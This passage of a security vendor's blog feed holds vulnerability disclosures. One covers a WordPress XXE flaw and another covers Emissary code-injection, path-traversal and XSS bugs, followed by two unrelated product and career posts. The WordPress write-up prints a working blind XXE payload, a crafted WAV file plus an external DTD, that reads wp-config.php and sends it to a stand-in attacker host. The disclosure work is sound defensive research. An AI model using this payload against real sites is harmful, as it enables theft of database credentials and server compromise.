730    $XMLobject = simplexml_load_string($XMLstring, &apos;SimpleXMLElement&apos;, LIBXML_NOENT);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The used &lt;code&gt;simplexml_load_string()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function is a PHP function that parses a string passed to its first parameter as XML. It is possible to configure the underlying XML parser (PHP relies on &lt;em&gt;Libxml2&lt;/em&gt;) with flags passed in the third argument.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The comments in the shown piece of code are of particular interest as they mention protection against XXE. Reading them while reviewing this finding of a static code analyzer might raise the suspicion that it is a false-positive, and that correct precautions have been taken to avoid the vulnerability. But, is it? (&lt;em&gt;Spoiler: no&lt;/em&gt;)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To better understand the code and the surrounding comments, it is useful to look at its history. In 2014, an XXE vulnerability was fixed in &lt;a href=&quot;https://wordpress.org/news/2014/08/wordpress-3-9-2/&quot;&gt;WordPress 3.9.2&lt;/a&gt;. This is the main reason the call &lt;code&gt;libxml_disable_entity_loader(true)&lt;/code&gt;&lt;em&gt; &lt;/em&gt;was added at that point. The PHP function &lt;code&gt;libxml_disable_entity_loader()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;configures the XML parser to disable external entity loading.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Recently, with the release of PHP 8, the code was &lt;a href=&quot;https://github.com/WordPress/WordPress/commit/03eba7beb2f5b96bd341255eaa30d6b612e62507&quot;&gt;slightly adapted&lt;/a&gt; to accommodate for the deprecation of the &lt;code&gt;libxml_disable_entity_loader()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function and call it only if the running PHP version is older than 8. This function was deprecated because newer PHP versions use &lt;em&gt;Libxml2 &lt;/em&gt;v2.9+ which disables external entity fetching &lt;strong&gt;by default&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now the subtlety in the code we are looking at is that &lt;code&gt;simplexml_load_string()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;is not called with default configuration. Even though the name might not suggest it, the flag &lt;code&gt;LIBXML_NOENT&lt;/code&gt;&lt;em&gt; &lt;/em&gt;&lt;strong&gt;enables &lt;/strong&gt;entity substitution. Surprisingly, &lt;em&gt;NOENT&lt;/em&gt; in this case means that no entities will be left in the result, and thus external entities will be fetched and substituted. As a result, exploiting the XXE vulnerability that was fixed in &lt;a href=&quot;https://wordpress.org/news/2014/08/wordpress-3-9-2/&quot;&gt;WordPress 3.9.2&lt;/a&gt; was made possible again on WordPress instances running on PHP 8.&lt;/p&gt;&lt;h3&gt;Exploitation&lt;/h3&gt;&lt;p&gt;To exploit the described vulnerability it is necessary to understand if and how user-controlled data can reach the point where it gets parsed as XML as part of the &lt;code&gt;$XMLstring&lt;/code&gt;&lt;em&gt; &lt;/em&gt;variable in:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/ID3/getid3.lib.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;721    public static function XML2array($XMLstring) {
…
730        $XMLobject = simplexml_load_string($XMLstring, &apos;SimpleXMLElement&apos;, LIBXML_NOENT);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;WordPress uses &lt;em&gt;getID3 &lt;/em&gt;to ease extraction of this metadata when files are uploaded to its media library. Investigation of the getID3 library revealed that the string being parsed at that point is the &lt;a href=&quot;http://www.ixml.info/&quot;&gt;&lt;em&gt;iXML&lt;/em&gt;&lt;/a&gt; chunk of a wave audio file when its metadata gets analyzed.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/ID3/module.audio-video.riff.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;426    if (isset($thisfile_riff_WAVE[&apos;iXML&apos;][0][&apos;data&apos;])) {
427        // requires functions simplexml_load_string and get_object_vars
428        if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE[&apos;iXML&apos;][0][&apos;data&apos;])) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;WordPress does allow uploading wave audio files, and extracts their metadata with the &lt;code&gt;wp_read_audio_metadata()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function (which relies on &lt;em&gt;getID3&lt;/em&gt;). Thus, by uploading a crafted wave file, malicious XML can be injected and parsed. A minimal file that has the necessary structure to be handled as wave and that contains an attack payload in the &lt;em&gt;iXML &lt;/em&gt;chunk can be created with the following content:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(&lt;em&gt;BBBB&lt;/em&gt; being four bytes representing the length of the XML payload in little endian.)&lt;/p&gt;&lt;h3&gt;Blind XXE&lt;/h3&gt;&lt;p&gt;When an attacker injects a payload with the described strategy, the result of the parsed XML is not displayed in the user interface. Thus, to extract the content of a sensitive file (e.g., &lt;em&gt;wp-config.php&lt;/em&gt;), the attacker must rely on a blind XXE technique (also called &lt;em&gt;out-of-band&lt;/em&gt; XXE) to achieve this. This is similar to the technique described in &lt;a href=&quot;https://blog.sonarsource.com/shopware-php-object-instantiation-to-blind-xxe&quot;&gt;our previous blog post&lt;/a&gt; about exploiting Shopware. The basic idea is this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A first external entity (e.g., &lt;code&gt;%data&lt;/code&gt;) is created whose value will be substituted with the content of the file.&lt;/li&gt;&lt;li&gt;Another external entity is created whose URI is set to “&lt;em&gt;http://attacker_domain.com/&lt;code&gt;%data;&lt;/code&gt;&lt;/em&gt;”. Note the value of the URI contains the first entity which will be substituted.&lt;/li&gt;&lt;li&gt;When resolving the second entity, the parser will make a request to “&lt;em&gt;http://attacker_domain.com/&lt;code&gt;_SUBSTITUTED_data&lt;/code&gt;&lt;/em&gt;”, making the content of the file visible in the logs of the web server.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To make the URI of the external entity dependent on a value of another substituted entity, we do use parameter entities and an external DTD. Furthermore, we make use of the &lt;code&gt;php://&lt;/code&gt; stream wrapper to compress and encode the content of the file. Putting things together, the following would lead to the extraction of the sensitive &lt;em&gt;wp-config.php&lt;/em&gt; file:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;payload.wav&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;RIFFXXXXWAVEBBBBiXML&lt;!DOCTYPE r [
&lt;!ELEMENT r ANY &gt;
&lt;!ENTITY % sp SYSTEM &quot;http://attacker-url.domain/xxe.dtd&quot;&gt;
%sp;
%param1;
]&gt;
&lt;r&gt;&amp;exfil;&lt;/r&gt;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(&lt;em&gt;BBBB&lt;/em&gt; being four bytes representing the length of the XML payload in little endian.)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;xxe.dtd&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!ENTITY % data SYSTEM &quot;php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php&quot;&gt;
&lt;!ENTITY % param1 &quot;&lt;!ENTITY exfil SYSTEM &apos;http://attacker-url.domain/?%data;&apos;&gt;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;WordPress patched the vulnerability in &lt;a href=&quot;https://wordpress.org/support/wordpress-version/version-5-7-1/&quot;&gt;version 5.7.1&lt;/a&gt; by reintroducing the call to the &lt;code&gt;libxml_disable_entity_loader()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function that was deprecated in PHP 8 even for newer PHP versions. To avoid PHP deprecation warnings, the PHP error suppressing operator &lt;code&gt;@&lt;/code&gt;&lt;em&gt; &lt;/em&gt;was added to the call.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/ID3/getid3.lib.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;721    public static function XML2array($XMLstring) {
…
727      $loader = @libxml_disable_entity_loader(true);
728      $XMLobject = simplexml_load_string($XMLstring, &apos;SimpleXMLElement&apos;, LIBXML_NOENT);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another alternative to reintroducing the call to the deprecated function would have been to make use of PHP’s &lt;a href=&quot;https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php&quot;&gt;&lt;code&gt;libxml_set_external_entity_loader()&lt;/code&gt;&lt;/a&gt; function. This is the recommended way according to the PHP documentation. It also allows more granular control over the external entity loader in case the possibility of loading specific resources is required. This is, of course, only necessary if entity substitution is really required in PHP 8.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;04.02.2021&lt;/td&gt;&lt;td&gt;We report the vulnerability with PoC on Hackerone&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;05.02.2021&lt;/td&gt;&lt;td&gt;WordPress acknowledges receipt of report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;01.03.2021&lt;/td&gt;&lt;td&gt;WordPress updates us about triage and a fix in progress&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;08.03.2021&lt;/td&gt;&lt;td&gt;WordPress informs us about upcoming security release&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;14.04.2021&lt;/td&gt;&lt;td&gt;WordPress releases version 5.7.1&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we looked at an interesting XXE vulnerability we discovered in the most popular content management system, WordPress. It allows authenticated attackers to leak sensitive files from the host server which can lead to a full compromise. We showed how this type of vulnerability works and how attackers can exploit it by using blind XXE techniques. Further, we learned about a related pitfall in PHP 8 code and how developers can prevent this type of code vulnerability in their own applications. We would like to thank the WordPress team for a great collaboration and a quick resolution with a new patch release.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Vulnerabilities in NSA Application Revealed]]></title><description><![CDATA[Our security research team discovered multiple code vulnerabilities in the NSA's Java application Emissary. Find out more about these issues and related attacks.]]></description><link>https://www.sonarsource.com/blog/code-vulnerabilities-in-nsa-application-revealed</link><guid isPermaLink="false">54a57f7b-e98b-58ce-af87-73d8938cee08</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 06 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Emissary is a P2P based data-driven workflow engine that runs in a heterogeneous possibly widely dispersed, multi-tiered P2P network of compute resources. The application’s Java source code is distributed by the official &lt;a href=&quot;https://github.com/NationalSecurityAgency/emissary&quot;&gt;GitHub repository&lt;/a&gt; of the U.S. National Security Agency (NSA). An interesting pick for our research team to look at its code security.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our analysis, we discovered several code vulnerabilities in Emissary version 5.9.0. A combination of these vulnerabilities allows remote attackers to execute arbitrary system commands on any Emissary server. All in all, this may lead to the compromise of the whole P2P network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we analyze the technical root cause of three different security issues and demonstrate how attackers could exploit these. We reported all issues responsibly to the affected vendor who released multiple security patches to protect all users against the most severe vulnerabilities.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;During the analysis of Emissary 5.9.0 we found the following code vulnerabilities that enable different ways to attack the application:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Code Injection (CVE-2021-32096)&lt;/li&gt;&lt;li&gt;Arbitrary File Upload (CVE-2021-32094)&lt;/li&gt;&lt;li&gt;Arbitrary File Disclosure (CVE-2021-32093)&lt;/li&gt;&lt;li&gt;Arbitrary File Delete (CVE-2021-32095)&lt;/li&gt;&lt;li&gt;Reflected Cross-site-Scripting (CVE-2021-32092)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Access to the web application (and its vulnerable features) is protected by HTTP Digest Authentication. By default, there is only one administrator account that has access to the web application. However, the web application is vulnerable to Cross-Site Request Forgery (CSRF) attacks. This allows an attacker to abuse the browser of an authenticated victim to manipulate the state of the web application. For example, the CSRF vulnerability can be combined with the Code Injection vulnerability to achieve remote code execution. You can find out more about CSRF and how it can be exploited by attackers in our &lt;a href=&quot;https://www.sonarsource.com/blog/hack-the-stack-with-localstack/&quot;&gt;previous blog post&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;For demonstration purposes we’ve created a short video that shows how quick and easy a server is compromised.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/8MpYrh3cwGo&quot;&gt;Emissary - Remote Code Execution vulnerability&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;In the following, we look at the root cause of three vulnerabilities in the source code of Emissary. First we introduce the Code Injection vulnerability that can be exploited via CSRF. In the next step, we analyse two vulnerabilities (Arbitrary File Disclosure, Cross-site Scripting) that can be combined by an attacker to extract the administrator credentials of the HTTP Digest Authentication used by Emissary.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Remote Ruby Code Execution (CVE-2021-32096)&lt;/h3&gt;&lt;p&gt;The administration area of Emissary includes a console feature to evaluate Ruby code. Since the entire web application does not use CSRF tokens, an attacker can execute arbitrary Ruby code on the server through the browser of a logged-in administrator. Let’s have a look at the source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/main/java/emissary/server/mvc/ConsoleAction.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 47   @POST
 48   @Path(&quot;/Console.action&quot;)
 49   @Produces(MediaType.TEXT_PLAIN)
 50   public Response rubyConsolePost(@Context HttpServletRequest request) {
 52       RubyConsole console = getOrCreateConsole(request);
 56       try {
 57           final String cmd = request.getParameter(CONSOLE_COMMAND);
 67           if (&quot;eval&quot;.equals(cmd)) {
 69               String commandString = request.getParameter(CONSOLE_COMMAND_STRING);
 70               if (commandString != null) {
 79               try {
 80                   result = console.evalAndWait(commandString, 60000);
 81               }
 92           }
 94       }
118   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/main/java/emissary/server/mvc/ConsoleAction.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 57 the user controlled post parameter &lt;code&gt;CONSOLE_COMMAND&lt;/code&gt; is received and in line 67 it is checked if this parameter is equal to the string &lt;em&gt;eval&lt;/em&gt;. If it is, the next attacker controlled post variable &lt;code&gt;CONSOLE_COMMAND_STRING&lt;/code&gt; is received in line 69 and passed to the function &lt;code&gt;evalAndWait()&lt;/code&gt; from the class &lt;code&gt;RubyConsole&lt;/code&gt; in line 80. When following the function &lt;code&gt;evalAndWait()&lt;/code&gt; we will get to the &lt;code&gt;eval()&lt;/code&gt; function as shown below.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/main/java/emissary/scripting/RubyConsole.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;331   public Object eval(String expression) throws Exception{
332       Object result = null;
333       try{
334           result = rubyEngine.eval(expression,rubyContext);
339       }
349   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;eval()&lt;/code&gt; receives a Ruby &lt;code&gt;expression&lt;/code&gt; as the first parameter which can be controlled by an attacker in order to execute the vulnerable function &lt;code&gt;eval()&lt;/code&gt; of the Ruby engine in line 334. This allows an attacker to inject arbitrary Ruby code for execution on the server (&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-5334&quot;&gt;S5334&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Ruby Console is obviously intended as a feature and is not an actual vulnerability. The problem is, however, that the web application does not use CSRF tokens and an adversary can thus abuse any feature of the software within an attack.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Leaking the Admin Password&lt;/h3&gt;&lt;p&gt;Further, we detected an Arbitrary File Disclosure and Cross-site Scripting vulnerability. Both can be combined to read arbitrary files from the Emissary server. For example, an attacker could read the stored admin credentials for the HTTP Digest Authentication and then login to Emissary as an administrator to take over the installation.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/80e3fbe9-0765-498f-b714-d85797f9f185/body-2ee69d16-508b-4030-963c-02247c85c14b_blog_post_file_read.png&quot; /&gt;&lt;h3&gt;Arbitrary File Disclosure (CVE-2021-32093)&lt;/h3&gt;&lt;p&gt;Emissary’s feature to show certain configuration files contains a File Disclosure vulnerability (&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-2083&quot;&gt;S2083&lt;/a&gt;) that can be used to read any file from the server. In line 35, the user-controlled HTTP GET variable &lt;code&gt;CONFIG_PARAM&lt;/code&gt; is received from the query string. The variable &lt;code&gt;configName&lt;/code&gt; is not sanitized and can contain any file path. The content of the opened file in line 44 is then printed in line 45.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/main/java/emissary/server/mvc/internal/ConfigFileAction.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;32   @GET
33   @Path(&quot;/ConfigFile.action&quot;)
34   @Produces(MediaType.TEXT_PLAIN)
35   public Response configFile(@QueryParam(CONFIG_PARAM) String configName) {
36       try {
44           String content = IOUtils.toString(
                 ConfigUtil.getConfigStream(configName), StandardCharsets.UTF_8);
45           return Response.ok().entity(content).build();
46       }
51   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/main/java/emissary/server/mvc/internal/ConfigFileAction.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;By using a Path Traversal attack and injecting character sequences like &lt;code&gt;../&lt;/code&gt; a malicious user can traverse through the file system and read any file on the system, including the HTTP Digest Authentication file that contains the secret credentials. However, this feature is only available to authenticated users and in a CSRF attack it is not possible to read the request’s response. A remote attacker needs another vulnerability.&lt;/p&gt;&lt;h3&gt;Reflected Cross-site-Scripting (CVE-2021-32092)&lt;/h3&gt;&lt;p&gt;We found a Cross-Site Scripting vulnerability (&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-5131&quot;&gt;S5131&lt;/a&gt;) in the error response message of the &lt;code&gt;DocumentAction&lt;/code&gt; class. When a requested document is not found, user input is reflected without any output encoding.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/main/java/emissary/server/mvc/DocumentAction.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;62   @GET
63   @Path(&quot;/Document.action/{uuid}&quot;)
64   @Produces(MediaType.APPLICATION_XML)
65   public Response documentShow(
       @Context HttpServletRequest request, 
       @PathParam(&quot;uuid&quot;) String uuid
     ) {
69      final List&lt;IBaseDataObject&gt; payload = wsp.take(uuid);
...
82      return Response.status(400).entity(&quot;&lt;error&gt;uuid &quot; + uuid + &quot; not found&lt;/error&gt;&quot;).build();
92   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/main/java/emissary/server/mvc/DocumentAction.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The user controlled GET variable&lt;code&gt; uuid&lt;/code&gt; is passed in line 65 via a path. Then, the variable is used in line 69 in the function &lt;code&gt;wsp.take()&lt;/code&gt; and if no element is found for the passed&lt;code&gt; uuid&lt;/code&gt;, an error message is printed in line 82. So the user-controlled input is concatenated and printed with an error message. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can therefore craft a malicious link that passes a payload via the &lt;code&gt;uuid&lt;/code&gt; parameter which executes JavaScript in the victim&amp;#x27;s browser. The HTTP response has an XML content type (see line 64) but this does not prevent an attacker from executing an arbitrary JavaScript payload. Once this payload executes in an authenticated victim’s browser it can exploit the File Disclosure vulnerability to read the administrator credentials and send these to an attacker-controlled server. With this, a remote attacker is able to gain access to the credentials and to authenticate. Next to the previously described Code Injection vulnerability, we also reported a File Delete and File Upload vulnerability that could be exploited by the attacker once authenticated.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;24.09.2020&lt;/td&gt;&lt;td&gt;We ask for security contact on&amp;nbsp;GitHub issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;01.10.2020&lt;/td&gt;&lt;td&gt;We ask for security contact via generic email&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09.10.2020&lt;/td&gt;&lt;td&gt;Emissary provides an email on GitHub issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;16.10.2020&lt;/td&gt;&lt;td&gt;We send detailed advisory to contributor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;16.11.2020&lt;/td&gt;&lt;td&gt;No response, we ask for status update&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;15.12.2020&lt;/td&gt;&lt;td&gt;Emissary releases 5.11.0 to fix RCE and sets up new email&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;17.12.2020&lt;/td&gt;&lt;td&gt;We inform about email problem&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;07.01.2021&lt;/td&gt;&lt;td&gt;Emissary resolves email problem, we inform about remaining vulnerabilities&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;01.02.2021&lt;/td&gt;&lt;td&gt;We ask for status update: work in progress&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;26.02.2021&lt;/td&gt;&lt;td&gt;We inform about upcoming disclosure&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;02.03.2021&lt;/td&gt;&lt;td&gt;Emissary releases 6.1 and informs that all issues should be fixed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;05.03.2021&lt;/td&gt;&lt;td&gt;We inform about unpatched CSRF and Path Traversal&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we analyzed three vulnerabilities found in Emissary. The combination of the vulnerabilities can lead to a complete takeover of an Emissary installation. We evaluated the causes in the Java code and explained how an attacker can exploit them. We also showed that a simple authentication is not enough to secure a web application and how intended features of developers offer a high potential for attackers. If you are hosting an Emissary instance and have not yet updated your installation, we highly recommend that you do so now. Last but not least, we would like to thank the Emissary team who addressed most of the issues in the latest release 6.1.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Mono-repository support for Bitbucket Cloud now available for SonarCloud!]]></title><description><![CDATA[Last September, we announced that mono-repository support was added for GitHub and Azure DevOps Services. The good news is: mono-repository support is now also available for Bitbucket Cloud! See what it brings and how you can configure it in SonarCloud.]]></description><link>https://www.sonarsource.com/blog/mono-repository-support-for-bitbucket-cloud-available-for-sonarcloud</link><guid isPermaLink="false">4e56f93b-5902-5c0a-b83c-bf2b7bfdf8a2</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Mon, 29 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last September, we announced that &lt;a href=&quot;https://blog.sonarsource.com/mono-repository-support-for-github-and-azure-devops&quot;&gt;mono-repository support was added for GitHub and Azure DevOps Services&lt;/a&gt;. The good news is: mono-repository support is now also available for Bitbucket Cloud! See what it brings and how you can configure it in SonarCloud below.&lt;/p&gt;&lt;h3&gt;What is a mono-repository strategy?&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, let’s define mono-repository. Traditionally, software projects have been organized so that each project is stored within a single, distinct repository of its own. As software projects have become more complex and interconnected, some organizations moved to having all their projects in a single large repository. This is called the mono-repository, or monorepo strategy.&lt;/p&gt;&lt;h3&gt;How does it work for Bitbucket Cloud?&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The monorepo configuration of SonarCloud will allow you to approach Code Quality and Code Security at the project level, as it should be, regardless of how you work with repositories.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c4f9ff14-3e75-4ae4-bf6b-9f65611cc826/body-31e05196-dc7c-4e33-bc0d-7e5d376f589a_Screenshot%2B2021-03-29%2Bat%2B09.00.32.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this configuration you&amp;#x27;ll be able to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Configure one Quality Gate per project: we advise you to do so!&lt;/li&gt;&lt;li&gt;Receive multiple/per-project Quality Gate results: quickly check from the pull request if all Quality Gates passed before you merge!&lt;/li&gt;&lt;li&gt;Read project-labeled messages from SonarCloud: understand which project is relevant to SonarCloud’s feedback and act accordingly!&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;How to set up your Bitbucket Cloud monorepo in SonarCloud?&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can either import a mono-repository or you can convert existing projects.&lt;/p&gt;&lt;h5&gt;&lt;em&gt;Importing a monorepo&lt;/em&gt;&lt;/h5&gt;&lt;ul&gt;&lt;li&gt;Go to the + (plus) menu on the top right of the SonarCloud interface and select &lt;em&gt;Analyze new project&lt;/em&gt;.&lt;/li&gt;&lt;li&gt;This will take you to the&lt;a href=&quot;https://sonarcloud.io/projects/create&quot;&gt; &lt;em&gt;Analyze projects&lt;/em&gt; page&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Now click &lt;em&gt;Setup a monorepo&lt;/em&gt; (it is a small text link on the lower right of the page).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You will now be on the &lt;em&gt;Import monorepo&lt;/em&gt; page.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Select the organization and then select the monorepo repository that you want to import.&lt;/li&gt;&lt;li&gt;For each project contained in your monorepo, add a corresponding SonarCloud project by clicking &amp;quot;Add new project&amp;quot;. You have to choose a unique project key for each SonarCloud project. As mentioned above, these are the keys that you will use when configuring your CI service (see below) to bind each monorepo project to its corresponding SonarCloud project.&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;&lt;em&gt;Convert a standard project to a monorepo&lt;/em&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the&lt;a href=&quot;https://sonarcloud.io/projects/create&quot;&gt; analyze projects page&lt;/a&gt;, you can also add one or more additional project keys to an existing standard project. This will convert that new set of projects to a monorepo configuration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;For more information on how to configure your CI service for example, please refer to &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/monorepo-support/&quot;&gt;the documentation page&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Monorepo support brings feedback at the right level&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dde82bc7-d211-40a1-900b-722312500ac0/body-bdf33b4e-f150-4a2e-9d41-b028f35af48d_Screenshot%2B2021-03-29%2Bat%2B09.02.02.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You will now be able to get feedback at the project-level if you&amp;#x27;re using a mono-repository! This will bring more accuracy to your Code Quality and Code Security strategy and will increase visibility on your projects. Let us know how this works for you!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[My Support Engineer Journey at SonarSource]]></title><description><![CDATA[What does a Support Engineer do and how could it ever be interesting? Here we share more about a unique and rewarding journey in this role at SonarSource that will help you understand more about the job and opportunity.]]></description><link>https://www.sonarsource.com/blog/supp-engr-joe-ting</link><guid isPermaLink="false">af571a9a-7c13-5262-be24-7bbac853a9bd</guid><dc:creator><![CDATA[Joe Tingsanchali]]></dc:creator><pubDate>Tue, 23 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;What does a Support Engineer do and how could it ever be interesting? If you’re curious about the life of an &lt;a href=&quot;https://www.sonarsource.com/company/jobs/&quot;&gt;Application Support Engineer&lt;/a&gt;, whether you have read the job description or not, then join me as I share my unique and rewarding journey in this role at SonarSource that will help you understand more about the job and my transition into a one-of-a-kind, nonpareil opportunity in my life (my opinion, 